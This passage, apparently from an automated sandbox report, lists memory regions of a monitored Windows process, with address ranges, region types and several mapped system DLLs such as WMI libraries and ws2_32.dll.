"private_0x000000001ad90000" filename = "" Region: id = 5697 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5698 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5699 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5700 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 5701 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 5702 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 5703 start_va = 0x1b3c0000 end_va = 0x1b3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 5704 start_va = 0x1b3d0000 end_va = 0x1b3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3d0000" filename = "" Region: id = 5705 start_va = 0x1b3e0000 end_va = 0x1b3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3e0000" filename = "" Region: id = 5706 start_va = 0x1b3f0000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3f0000" filename = "" Region: id = 5707 start_va = 0x1b400000 end_va = 0x1b40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b400000" filename = "" Region: id = 5708 start_va = 0x1b410000 end_va = 0x1b41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 5709 start_va = 0x1b420000 end_va = 0x1b42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b420000" filename = "" Region: id = 5710 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5711 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5712 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 5713 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 5714 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 5715 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5716 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5717 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5718 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5719 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5720 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5721 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5722 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 5723 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5724 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5725 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5726 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5727 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 5728 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5729 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5730 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 5731 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 5732 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 5733 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5734 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5735 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 5736 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5737 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5738 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5739 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5740 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5741 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 5742 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 5743 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 5744 start_va = 0x1b3c0000 end_va = 0x1b3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 5745 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5746 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5747 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5748 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5749 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 5750 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 5751 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 5752 start_va = 0x1b3c0000 end_va = 0x1b3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 5753 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5754 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5755 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5756 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 5757 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 5758 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5759 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5760 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 5761 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5762 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5763 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5764 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5765 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5766 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5767 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5768 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5769 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 5770 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 5771 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 5772 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5773 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5774 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5775 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5776 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 5777 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5778 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5779 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5780 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5781 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 5782 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 5783 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5784 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5785 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5786 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5787 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 5788 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 5789 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 5794 start_va = 0x1b3c0000 end_va = 0x1b3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 5795 start_va = 0x1b3d0000 end_va = 0x1b3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3d0000" filename = "" Region: id = 5796 start_va = 0x1b3e0000 end_va = 0x1b3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3e0000" filename = "" Region: id = 5797 start_va = 0x1b3f0000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3f0000" filename = "" Region: id = 5798 start_va = 0x1b400000 end_va = 0x1b40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b400000" filename = "" Region: id = 5799 start_va = 0x1b410000 end_va = 0x1b41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 5800 start_va = 0x1b420000 end_va = 0x1b42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b420000" filename = "" Region: id = 5801 start_va = 0x1b430000 end_va = 0x1b44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b430000" filename = "" Region: id = 5802 start_va = 0x1b450000 end_va = 0x1b46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b450000" filename = "" Region: id = 5803 start_va = 0x1b470000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b470000" filename = "" Region: id = 5804 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 5805 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 5806 start_va = 0x1b4c0000 end_va = 0x1b4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4c0000" filename = "" Region: id = 5807 start_va = 0x1b4d0000 end_va = 0x1b4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4d0000" filename = "" Region: id = 5808 start_va = 0x7ffa71660000 end_va = 0x7ffa7166cfff monitored = 1 entry_point = 0x7ffa71664e90 region_type = mapped_file name = "wminet_utils.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WMINet_Utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wminet_utils.dll") Region: id = 5809 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5810 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5811 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5812 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 5813 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5814 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5815 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 5816 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5817 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5818 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5819 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5820 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5821 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5822 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5823 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5824 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5825 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5826 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5827 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5828 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5829 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5830 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5831 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5832 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5833 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5834 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5835 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5836 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5837 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5838 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5839 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5840 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5841 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5842 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5843 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5844 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 5845 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 5846 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5847 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5848 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 5849 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 5850 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 5851 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5852 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5853 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 5854 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5855 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5856 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 5857 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5858 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 5859 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 5860 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 5861 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 5862 start_va = 0x1ad60000 end_va = 0x1ad60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ad60000" filename = "" Region: id = 5863 start_va = 0x7ffa6b700000 end_va = 0x7ffa6b724fff monitored = 0 entry_point = 0x7ffa6b709900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 5864 start_va = 0x7ffa6f330000 end_va = 0x7ffa6f3aefff monitored = 0 entry_point = 0x7ffa6f347110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 5865 start_va = 0x7ffa7b540000 end_va = 0x7ffa7b5aafff monitored = 0 entry_point = 0x7ffa7b5590c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 5866 start_va = 0x7ffa6d6d0000 end_va = 0x7ffa6d6e0fff monitored = 0 entry_point = 0x7ffa6d6d2fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 5867 start_va = 0x7ffa6b730000 end_va = 0x7ffa6b743fff monitored = 0 entry_point = 0x7ffa6b731800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 5868 start_va = 0x7ffa6b750000 end_va = 0x7ffa6b845fff monitored = 0 entry_point = 0x7ffa6b789590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 6575 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6576 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 6577 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 6578 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 6579 start_va = 0x1ad70000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 6580 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 6581 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 6582 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 6583 start_va = 0x1b3c0000 end_va = 0x1b3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 6584 start_va = 0x1b3d0000 end_va = 0x1b3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3d0000" filename = "" Region: id = 6585 start_va = 0x1b3e0000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3e0000" filename = "" Region: id = 6586 start_va = 0x1b400000 end_va = 0x1b41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b400000" filename = "" Region: id = 6587 start_va = 0x1b420000 end_va = 0x1b42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b420000" filename = "" Region: id = 6588 start_va = 0x1b430000 end_va = 0x1b43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b430000" filename = "" Region: id = 6589 start_va = 0x1b440000 end_va = 0x1b44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b440000" filename = "" Region: id = 6591 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 6592 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 6593 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = 